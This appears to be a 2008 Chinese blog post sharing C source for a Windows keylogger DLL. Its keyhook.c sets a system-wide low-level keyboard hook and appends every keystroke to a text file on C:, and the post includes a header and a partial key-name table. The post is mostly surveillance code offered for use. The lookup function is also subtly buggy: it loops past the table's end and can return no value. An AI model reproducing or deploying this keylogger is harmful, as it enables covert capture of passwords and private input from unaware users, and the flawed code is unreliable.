| 关键词: nbsp AddVKey vKey DLLEXPORT return hModule 代码 CuhHook include LPARAM |
在开始贴这段垃圾代码以前,先给大家道个歉,也先扇自己一巴掌。本来说好昨天把代码搞好的,谁知道还没开始整,就过了12点了,食言了。代码还没有怎么写好,先把关键代码粘贴出来,等今天晚上把代码整理好,功能完善了再修改这个文章,顺便把写程序的过程、遇到的问题以及关键思路写出来。下面是DLL的关键代码(C语言编写,考虑DLL的兼容性)://////////////////////////////////////keyhook.c//作用:DLL主文件//作者:zaroty//时间:2008年9月9日0:54:39//博客:http://hi.badu.com/zaroty///////////////////////////////////#define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号#include <windows.h>#include <stdio.h>#include "keyhook.h"#include "vKey.h"HHOOK CuhHook=NULL;HANDLE g_hModule;BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: g_hModule = (HINSTANCE)hModule; break; case DLL_PROCESS_DETACH: g_hModule=NULL; break; } return TRUE;} LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam; LPCSTR log=GetKeyName(pStruct->vkCode); if (wParam==WM_KEYDOWN) { FILE *fl=fopen("C:\\FUCK.TXT","a+"); fprintf(fl,"%s",log); fclose(fl); } return CallNextHookEx( CuhHook, nCode, wParam, lParam );} DLLEXPORT BOOL StartHook(){ CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0); if (CuhHook!=NULL) { return 1; } else { return 0; }}DLLEXPORT BOOL StopHook(){ if (UnhookWindowsHookEx(CuhHook)) { return 1; } else { return 0; }} ========================== //////////////////////////////////////keyhook.h//作用:DLL头文件,声明导出的函数//作者:zaroty//时间:2008年9月9日0:54:39//博客:http://hi.badu.com/zaroty///////////////////////////////////#define DLLEXPORT __declspec(dllexport)DLLEXPORT BOOL StartHook();DLLEXPORT BOOL StopHook(); 还有一个文件是vkey.h,包含了virtual-key code与ASCII的转换 大体内容为: struct VKeyInfo{ USHORT VKey; LPCSTR VKname;};#define AddVKey(VK, VKName) {(VK), (VKName)}struct VKeyInfo vkey[]={ AddVKey(0x30, "0"), AddVKey(0x31, "1"), AddVKey(0x32, "2"), AddVKey(0x33, "3"), AddVKey(0x34, "4"), AddVKey(0x35, "5"), AddVKey(0x36, "6"), AddVKey(0x37, "7"), AddVKey(0x38, "8"), AddVKey(0x39, "9"), AddVKey(0x3A, "Undefined"), AddVKey(0x3B, "Undefined"),//省略。。。。。。。。} LPCSTR GetKeyName(USHORT VKey){ int i; for(i = 0; i<sizeof(vkey); i++) { if(VKey == vkey[i].VKey) return vkey[i].VKname; }} 就这么三个部分,记录键盘的时候只要调用StartHook就好了,取消记录的时候调用StopHook。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|